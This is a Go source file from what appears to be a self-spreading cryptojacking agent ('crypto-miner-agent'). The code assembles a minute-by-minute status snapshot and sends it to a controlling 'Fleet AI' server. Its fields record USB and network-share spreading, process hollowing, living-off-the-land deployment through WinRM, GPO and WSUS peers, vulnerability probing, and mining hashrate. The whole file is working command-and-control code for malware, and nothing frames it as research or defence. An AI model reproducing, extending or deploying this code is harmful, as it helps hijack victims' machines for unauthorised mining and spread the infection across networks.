package client

import (
	"encoding/json"
	"os"
	"runtime"
	"strings"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/miner"
)

// AITierStatus records one deploy or mining tier for Fleet AI snapshots.
type AITierStatus struct {
	Tier       string `json:"tier"`
	Phase      string `json:"phase,omitempty"`
	Attempted  bool   `json:"attempted"`
	OK         bool   `json:"ok,omitempty"`
	Error      string `json:"error,omitempty"`
	Skipped    bool   `json:"skipped,omitempty"`
	DurationMs int64  `json:"duration_ms,omitempty"`
}

// AIForgeFlags summarizes forge-time spread and LOTL options baked into the agent.
type AIForgeFlags struct {
	LotlOnionEnabled     bool `json:"lotl_onion_enabled"`
	LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
	AutoSpread           bool `json:"auto_spread"`
	USBSpread            bool `json:"usb_spread,omitempty"`
	ShareSpread          bool `json:"share_spread,omitempty"`
	RemoteAggressive     bool `json:"remote_aggressive,omitempty"`
	HolePunch            bool `json:"hole_punch,omitempty"`
	MeshP2P              bool `json:"mesh_p2p,omitempty"`
	ProcessHollowing     bool `json:"process_hollowing,omitempty"`
	GPUEnabled           bool `json:"gpu_enabled,omitempty"`
	AIEnabled            bool `json:"ai_enabled,omitempty"`
}

// AICapabilitiesSnapshot reports remote features this build exposes on the current OS.
type AICapabilitiesSnapshot struct {
	Platform         string   `json:"platform"`
	HolePunch        bool     `json:"hole_punch"`
	RemoteAggressive bool     `json:"remote_aggressive"`
	MeshP2P          bool     `json:"mesh_p2p"`
	AutoSpread       bool     `json:"auto_spread"`
	AIEnabled        bool     `json:"ai_enabled"`
	USBSpread        bool     `json:"usb_spread"`
	ProcessHollowing bool     `json:"process_hollowing"`
	GPUEnabled       bool     `json:"gpu_enabled"`
	LotlOnion        bool     `json:"lotl_onion"`
	SpreadLanes      []string `json:"spread_lanes,omitempty"`
	MiningTiersAvail []string `json:"mining_tiers_available,omitempty"`
}

// AISnapshot is the 1-minute Fleet AI machine state payload.
type AISnapshot struct {
	GeneratedAt string `json:"generated_at"`
	AgentName   string `json:"agent_name"`
	AgentID     string `json:"agent_id"`
	WorkerNumber string `json:"worker_number,omitempty"`

	BuildID  string `json:"build_id,omitempty"`
	Version  string `json:"version"`
	Platform string `json:"platform"`
	Arch     string `json:"arch,omitempty"`

	ForgeFlags AIForgeFlags `json:"forge_flags"`

	DeployTiers []AITierStatus `json:"deploy_tiers"`
	MiningTiers []AITierStatus `json:"mining_tiers"`

	MiningHashrate float64 `json:"mining_hashrate"`
	LOTLTier       string  `json:"lotl_tier,omitempty"`
	MiningActive   bool    `json:"mining_active"`
	JoinLane       string  `json:"join_lane,omitempty"`

	Capabilities AICapabilitiesSnapshot `json:"capabilities"`
	Stuck        bool                   `json:"stuck"`

	VulnRiskScore             *int   `json:"vuln_risk_score,omitempty"`
	AdaptiveStrategySummary   string `json:"adaptive_strategy_summary,omitempty"`
	ChainExhausted            bool   `json:"chain_exhausted,omitempty"`
}

func workerNumberFromConfig(cfg config.RuntimeConfig) string {
	if n := strings.TrimSpace(os.Getenv("AETHERFORGE_WORKER_NUMBER")); n != "" {
		return n
	}
	return ""
}

func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
	c.mu.Lock()
	cfg := c.cfg
	agentID := c.agentID
	c.mu.Unlock()

	hostname, _, _ := c.reporter.SystemInfo()
	agentName := strings.TrimSpace(cfg.WorkerName)
	if agentName == "" {
		agentName = hostname
	}

	var ms miner.MiningStatus
	if c.miningChain != nil {
		ms = c.miningChain.Status()
	}

	attempts := ms.LOTLAttempts
	policy := c.miningTierPolicy()
	probes := miner.ProbeEnvironment(miner.RuntimeDetector)
	miningChain, miningSkipped := miner.SelectMiningTierChain(probes, policy, cfg)

	deployOrder := deploy.NormalizeLotlTiers(cfg.LotlOnionTiers)
	if len(deployOrder) == 0 {
		deployOrder = append([]string(nil), deploy.DefaultLotlOnionTiers...)
	}

	snap := AISnapshot{
		GeneratedAt:    time.Now().UTC().Format(time.RFC3339),
		AgentName:      agentName,
		AgentID:        agentID,
		WorkerNumber:   workerNumberFromConfig(cfg),
		BuildID:        cfg.BuildID,
		Version:        config.Version,
		Platform:       runtime.GOOS,
		Arch:           runtime.GOARCH,
		ForgeFlags:     forgeFlagsFromConfig(cfg),
		DeployTiers:    buildDeployTierStatuses(deployOrder, attempts),
		MiningTiers:    buildMiningTierStatuses(miningChain, miningSkipped, attempts),
		MiningHashrate: miningHashrate,
		LOTLTier:       string(ms.LOTLTier),
		MiningActive:   c.isMiningActive(ms, miningHashrate),
		JoinLane:       c.getJoinLane(),
		Capabilities:   buildAICapabilities(cfg, deployOrder, miningChain),
		ChainExhausted: ms.ChainExhausted,
	}
	snap.Stuck = aiSnapshotStuck(snap, ms)

	if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {
		snap.AdaptiveStrategySummary = adaptiveStrategySummary(strat)
	}
	if vr := LastVulnScan(); vr != nil {
		score := vr.RiskScore
		snap.VulnRiskScore = &score
	}
	return snap
}

func forgeFlagsFromConfig(cfg config.RuntimeConfig) AIForgeFlags {
	return AIForgeFlags{
		LotlOnionEnabled:     cfg.LotlOnionEnabled,
		LotlPolicyFromServer: cfg.LotlPolicyFromServer,
		AutoSpread:           cfg.AutoSpread,
		USBSpread:            cfg.USBSpread,
		ShareSpread:          cfg.ShareSpread,
		RemoteAggressive:     cfg.RemoteAggressive,
		HolePunch:            cfg.HolePunch,
		MeshP2P:              cfg.MeshP2P,
		ProcessHollowing:     cfg.ProcessHollowing,
		GPUEnabled:           cfg.GPUEnabled,
		AIEnabled:            cfg.AIEnabled,
	}
}

func attemptIndex(attempts []miner.TierAttempt) map[string]miner.TierAttempt {
	idx := make(map[string]miner.TierAttempt, len(attempts))
	for _, a := range attempts {
		key := strings.ToLower(string(a.Tier))
		if a.Phase != "" {
			key = a.Phase + ":" + key
		}
		idx[key] = a
	}
	return idx
}

func buildDeployTierStatuses(order []string, attempts []miner.TierAttempt) []AITierStatus {
	idx := attemptIndex(attempts)
	out := make([]AITierStatus, len(order))
	for i, tier := range order {
		st := AITierStatus{Tier: tier}
		for _, phase := range []string{"deploy", "recon"} {
			if a, ok := idx[phase+":"+tier]; ok {
				st.Phase = phase
				st.Attempted = true
				st.OK = a.OK
				st.Error = a.Error
				st.DurationMs = a.DurationMs
				break
			}
		}
		if !st.Attempted {
			if a, ok := idx[tier]; ok && (a.Phase == "" || a.Phase == "deploy" || a.Phase == "recon") {
				st.Phase = a.Phase
				st.Attempted = true
				st.OK = a.OK
				st.Error = a.Error
				st.DurationMs = a.DurationMs
			}
		}
		out[i] = st
	}
	return out
}

func buildMiningTierStatuses(chain, skipped []miner.LOTLTier, attempts []miner.TierAttempt) []AITierStatus {
	seen := make(map[miner.LOTLTier]bool, len(chain)+len(skipped)+1)
	order := make([]miner.LOTLTier, 0, len(chain)+len(skipped)+1)
	for _, t := range append(append([]miner.LOTLTier{miner.TierVulnProbe}, chain...), skipped...) {
		if seen[t] {
			continue
		}
		seen[t] = true
		order = append(order, t)
	}
	skipSet := make(map[miner.LOTLTier]bool, len(skipped))
	for _, t := range skipped {
		skipSet[t] = true
	}

	idx := attemptIndex(attempts)
	out := make([]AITierStatus, len(order))
	for i, tier := range order {
		name := strings.ToLower(string(tier))
		st := AITierStatus{Tier: name, Skipped: skipSet[tier]}
		if a, ok := idx["mining:"+name]; ok {
			st.Phase = "mining"
			st.Attempted = true
			st.OK = a.OK
			st.Error = a.Error
			st.DurationMs = a.DurationMs
		} else if a, ok := idx[name]; ok && (a.Phase == "" || a.Phase == "mining") {
			st.Phase = a.Phase
			st.Attempted = true
			st.OK = a.OK
			st.Error = a.Error
			st.DurationMs = a.DurationMs
		}
		out[i] = st
	}
	return out
}

func buildAICapabilities(cfg config.RuntimeConfig, deployOrder []string, miningChain []miner.LOTLTier) AICapabilitiesSnapshot {
	lanes := spreadLanesForPlatform(runtime.GOOS, deployOrder)
	mining := make([]string, 0, len(miningChain))
	for _, t := range miningChain {
		mining = append(mining, string(t))
	}
	return AICapabilitiesSnapshot{
		Platform:         runtime.GOOS,
		HolePunch:        cfg.HolePunch,
		RemoteAggressive: cfg.RemoteAggressive,
		MeshP2P:          cfg.MeshP2P,
		AutoSpread:       cfg.AutoSpread,
		AIEnabled:        cfg.AIEnabled,
		USBSpread:        cfg.USBSpread,
		ProcessHollowing: cfg.ProcessHollowing,
		GPUEnabled:       cfg.GPUEnabled,
		LotlOnion:        cfg.LotlOnionEnabled,
		SpreadLanes:      lanes,
		MiningTiersAvail: mining,
	}
}

func spreadLanesForPlatform(goos string, order []string) []string {
	winOnly := map[string]bool{
		"wsl": true, "powershell": true, "dotnet": true, "bits_curl": true,
		"do_peer": true, "wsus_cache_peer": true, "winrm": true, "gpo": true,
	}
	linuxOnly := map[string]bool{"linux": true}
	out := make([]string, 0, len(order))
	for _, lane := range order {
		if winOnly[lane] && goos != "windows" {
			continue
		}
		if linuxOnly[lane] && goos != "linux" {
			continue
		}
		out = append(out, lane)
	}
	return out
}

func (c *AgentClient) isMiningActive(ms miner.MiningStatus, hashrate float64) bool {
	if hashrate > 0 {
		return true
	}
	if ms.ActiveMethod != "" && !ms.ChainExhausted {
		return true
	}
	remotePaused, _, _, hasJob, hps := c.pool.DiagnosticSnapshot()
	return hasJob && !remotePaused && hps > 0
}

func aiSnapshotStuck(snap AISnapshot, ms miner.MiningStatus) bool {
	if snap.MiningHashrate > 0 {
		return false
	}
	if ms.ChainExhausted {
		return true
	}
	allMiningAttempted := len(snap.MiningTiers) > 0
	for _, t := range snap.MiningTiers {
		if !t.Skipped && !t.Attempted {
			allMiningAttempted = false
			break
		}
	}
	if !allMiningAttempted {
		return false
	}
	for _, t := range snap.MiningTiers {
		if t.Skipped {
			continue
		}
		if t.Attempted && t.OK {
			return false
		}
	}
	return true
}

func adaptiveStrategySummary(strat AdaptiveStrategy) string {
	if len(strat.Reasoning) == 0 {
		if len(strat.TierOrder) == 0 {
			return ""
		}
		return "order=" + strings.Join(strat.TierOrder, ",")
	}
	parts := make([]string, 0, len(strat.Reasoning))
	for _, r := range strat.Reasoning {
		line := strings.TrimSpace(r.Inference)
		if line == "" {
			line = strings.TrimSpace(r.Action)
		}
		if line != "" {
			parts = append(parts, line)
		}
	}
	return strings.Join(parts, "; ")
}

func (c *AgentClient) pushAISnapshot(miningHashrate float64) {
	snap := c.buildAISnapshot(miningHashrate)
	payload, err := json.Marshal(snap)
	if err != nil {
		return
	}
	_ = c.write(Message{Type: "ai_snapshot", Payload: payload})
}